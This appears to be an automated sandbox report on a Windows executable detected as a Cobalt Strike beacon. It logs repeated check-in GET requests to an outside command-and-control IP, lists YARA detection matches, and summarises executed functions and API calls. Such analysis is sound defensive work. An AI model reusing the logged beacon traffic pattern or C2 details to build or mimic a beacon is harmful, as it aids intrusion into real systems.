2025-01-03 01:55:20 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:20 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:20 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50108	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:22 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:22 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:22 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50109	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:23 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:24 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:24 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50110	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:25 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:26 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50111	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:27 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:28 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:27 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50112	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:29 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:29 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:29 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50113	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:31 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:31 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:31 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50114	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:33 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:33 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50115	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:34 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:35 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:35 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50116	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:36 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:37 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:37 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50117	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:38 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:39 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50118	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:40 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:41 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:40 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50119	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:42 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:43 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:42 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50120	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:44 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:44 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:44 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50121	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:46 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:46 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50122	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:48 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:48 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:48 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50123	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:50 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:50 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:50 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50124	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:51 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:52 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:52 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50125	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:53 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:54 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:54 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50126	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:55 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:56 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:56 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50127	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:58 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:55:58 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:55:58 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50128	42.192.3.170	443	6572	C:\Users\user\Desktop\yZah650lHL.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 01:55:59 UTC	352	OUT	GET /dpixel HTTP/1.1 Accept: / Cookie: Q4EwOJNXhwelWUSXnRuX9ukfIxYxlFmNJQe1xMGT1oHpYGnJ4l2CUxRI5MRs/4sXNC1xskAYZXdgkxs4WSu9fpcaKZl4jAR4B9nZAhtbj0p+FrpKFD5JM/dYXepVAbnhYLOaEr3FKSsizlTEe1NWWZVnw4PM8ezzBGSN1u07iEk= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 42.192.3.170 Connection: Keep-Alive Cache-Control: no-cache
2025-01-03 01:56:00 UTC	114	IN	HTTP/1.1 200 OK Date: Fri, 3 Jan 2025 01:56:00 GMT Content-Type: application/octet-stream Content-Length: 0

Target ID:	0
Start time:	20:51:53
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\yZah650lHL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\yZah650lHL.exe"
Imagebase:	0x400000
File size:	328'704 bytes
MD5 hash:	5ED55475A1FE6C18C1A67FA8C7008661
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Beacon_K5om, Description: Detects Meterpreter Beacon - file K5om.dll, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: CobaltStrike_Unmodifed_Beacon, Description: Detects unmodified CobaltStrike beacon DLL, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: Leviathan_CobaltStrike_Sample_1, Description: Detects Cobalt Strike sample from Leviathan report, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: crime_win32_csbeacon_1, Description: Detects Cobalt Strike loader, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: @VK_Intel Rule: WiltedTulip_ReflectiveLoader, Description: Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_ReflectiveLoader, Description: detects Reflective DLL injection artifacts, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_CobaltStrike, Description: CobaltStrike payload, Source: 00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.3%
Total number of Nodes:	319
Total number of Limit Nodes:	19

Executed Functions

Function 00401180 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 004011E6
SetUnhandledExceptionFilter.KERNEL32 ref: 00401258
malloc.MSVCRT ref: 00401322
strlen.MSVCRT ref: 00401345
malloc.MSVCRT ref: 00401351
memcpy.MSVCRT ref: 00401365
GetStartupInfoA.KERNEL32 ref: 00401463

Strings

DCE, xrefs: 0040138E
0PE, xrefs: 00401490
@6E, xrefs: 0040125E

Memory Dump Source

Source File: 00000000.00000002.4113625005.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4113602550.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113649061.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113672098.0000000000405000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113715440.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113736878.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113770648.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yZah650lHL.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpystrlen
String ID: 0PE$@6E$DCE
API String ID: 649803965-2430247936
Opcode ID: 51392e7461e9e07ed7f19d0721189c0bf25b9227d41394980ff0e93a3bc1fca1
Instruction ID: 7b6093c48930a8ef89593839c944e9f908a2e32032a5f35aeb8b435f34b377a6
Opcode Fuzzy Hash: 51392e7461e9e07ed7f19d0721189c0bf25b9227d41394980ff0e93a3bc1fca1
Instruction Fuzzy Hash: 5C71ADB5601B0486EB259F56E89476A33A1B745BCAF84803BEF49673E6DF7CC844C348

Function 0066E68C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 165
networkfileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_snprintf.LIBCMT ref: 0066E725

Part of subcall function 0067F63C: _errno.LIBCMT ref: 0067F673
Part of subcall function 0067F63C: _invalid_parameter_noinfo.LIBCMT ref: 0067F67E

Part of subcall function 00677B38: _snprintf.LIBCMT ref: 00677CA5

_snprintf.LIBCMT ref: 0066E7BD
_snprintf.LIBCMT ref: 0066E7D4
HttpOpenRequestA.WININET ref: 0066E818
HttpSendRequestA.WININET ref: 0066E84A
InternetQueryDataAvailable.WININET ref: 0066E87A
InternetCloseHandle.WININET ref: 0066E898

Part of subcall function 00672D70: strchr.LIBCMT ref: 00672DD6
Part of subcall function 00672D70: _snprintf.LIBCMT ref: 00672E0C

Part of subcall function 00672C0C: strchr.LIBCMT ref: 00672C69
Part of subcall function 00672C0C: _snprintf.LIBCMT ref: 00672CB3

InternetReadFile.WININET ref: 0066E8D4
InternetCloseHandle.WININET ref: 0066E8F5

Strings

%s%s, xrefs: 0066E7C9
*/*, xrefs: 0066E6CB

Memory Dump Source

Source File: 00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Offset: 00660000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_660000_yZah650lHL.jbxd

Yara matches

Similarity

